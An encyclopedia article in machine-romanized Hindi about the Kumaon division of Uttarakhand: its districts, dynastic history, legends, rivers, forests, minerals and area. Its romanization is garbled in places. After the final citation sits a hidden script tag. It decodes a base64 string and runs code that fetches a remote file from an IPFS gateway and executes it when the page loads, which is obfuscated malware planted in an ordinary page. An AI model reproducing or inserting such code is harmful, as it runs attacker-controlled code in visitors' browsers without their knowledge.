कुमाऊँ

thumb|250px|kumaooan ka ek drishy kumaooan uttarakhand ki rajy mean prashasanik suvidha ke uddeshy se banaai gaye do mukhy sanbhag (mandal) mean se ek hai. doosara mandal hai gadhaval. kumaooan sanbhag (mandal) mean nainital, pithauragadh, almo da , bageshvar, champavat tatha udhamasianh nagar janapad sammilit haian jabaki gadhaval sanbhag mean paudi gadhaval, tihari gadhaval, uttarakashi, deharadoon, chamoli, rudraprayag tatha haridvar janapad shamil hai. kumaooan ka prachin pauranik nam 'koormachal' hai. kumaooan mean prashasanatmak ikaee isamean nepal ke pashchim himalay parvat ki bahari shreniyaan, taraee aur bhabhar ki do pattiyaan sammilit haian.

itihas

kumaooan mean prachin kal mean kinnar, kirat aur nag log rahate the. tadanantar kumaooan mean khas log ae aur in logoan ko parajit kar yahaan bahut dinoan tak rajy karate rahe. navian shati ee. ke asapas katyoori vansh ne apana prabhutv sthapit kiya. kadachit ye log shak the. yah vansh 1050 ee. tak rajy karata raha. usake bad ke tin-sadhe tin sau varsh ke bich anek vansh ke rajaoan ka adhikar raha kiantu unake sanbandh ki janakari upalabdh nahian hai. 1400 ee. ke lagabhag chandravansh ke adhikar mean yah pradesh aya. bharatichandr, ratanachand, kiratichand, manikachand, rudrachand ke pashchath 17 vian shati mean bajabahadurachandr (1638-78 ee.) raja hue. unhoanne tibbat par akramanakar use apane adhikar mean kar liya. 18vian shati mean ruheloan mean kumaooan par akraman kiya aur anek mandir dhvast kie. unhoanne svayan to apana rajy sthapit nahian kiya kiantu chandravansh ki sthiti itani najuk ho gee ki nepal ke gorakha shasakoan ne usapar adhikar kar liya. 1815 ee. mean aangrezoan ne ise gorakhoan se le liya aur yah bharat ka ek aang ban gaya. is pradesh ke nivasi mukhyat: brahman, rajapoot aur shilpakar haian. doosari se chhathian shati ee. tak is pradesh par bauddh dharm ka prabhav raha. us samay adhikaansh khas aur shilpakaroan ne bauddh dharm grahan kar liya tha. 12vian shatabdi ke pashchath us pradesh par hindoo dharm ka prabhav badha.

pauranik manyata

pauranik akhyanoan ke anusar apane pita daksh ke yahaan yajn ke avasar par pati mahadev ka apaman dekhakar parvati ne kumaooan mean hi agnipravesh kiya tha. svargayatra ke samay paandav yahian ae the aisa mahabharat mean kaha gaya hai.

bhoogol

kumaooan mean 1850 ee. tak taraee aur bhabhr kshetroan mean durgam aur ghane jangal the, jinamean keval jangali janavar raha karate the. dhire-dhire jangaloan ko saf kiya gaya tatha paha d par rahane vale logoan ka dhyan idhar akarshit hua. paha di log garmi aur ja de mean niche akar in kshetroan mean kheti karate haian tatha varsha mean paha doan par laut jate haian. kumaooan mean vishal parvatashreniyaan haian. 140 mil lanbe tatha 40 mil chau de is paha di kshetr mean lagabhag 30 aisi chotiyaan haian, jinaki ooanchaee samudratal se 18,000 phut se bhi adhik hai; jinamean nanda devi parvat, trishool, nandakot aur panchooli vishesh prakhyat hai. tibbat ki jalavibhajak shreniyoan ki dakshini dhaloan se anek nadiyaan nikalati haian tatha in vishal chotiyoan ko katati huee age badhati haian; isase atyant gahari ghatiyaan ban gee haian. inamean se bahanevali pramukh nadiyoan ke nam sharada nadi ya kali nadi, piandari aur kali ganga haian. ye sabhi nadiyaan alakananda nadi se mil jati haian. jangaloan se moolyavan lak diyaan milati haian. in jangaloan mean chi d, devadar, saroya saipras, far, sal, saidan aur aildar adi ke vriksh mukhy haian. khanij padarthoan ki drishti se yah kshetr atyant dhana haian; isamean loha, taanba, jipsam, sisa aur aisabestas jaise mahattvapoorn khanij milate hai. kumaooan ke taraee, bhabhar aur gahari ghatiyoan ko chho dakar any sabhi bhagoan ki jalavayu sam tatha anukool haian. kumaooan ke bahy himalay ki dakshini dhaloan par adhik varsha hoti hai, kyoanki ve manasoon ke marg mean sarvapratham p date haian. 40 se 80 ianch tak is kshetr mean ausat varshik varsha hoti hai. ja de ke dinoan mean prati varsha ooanchi chotiyoan par himapat hota hai. kisi kisi varsh to poora kshetr hi himachchhadit ho jata hai.

kshetraphal

kumaooan kshetraphal 23,676 varg kilomitar hai. isake uttar tibbat, poorv nepal aur pashchim mean shivalik parvatashrriankhala hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

“khand 3”, hindi vishvakosh, 1966 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, 64.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>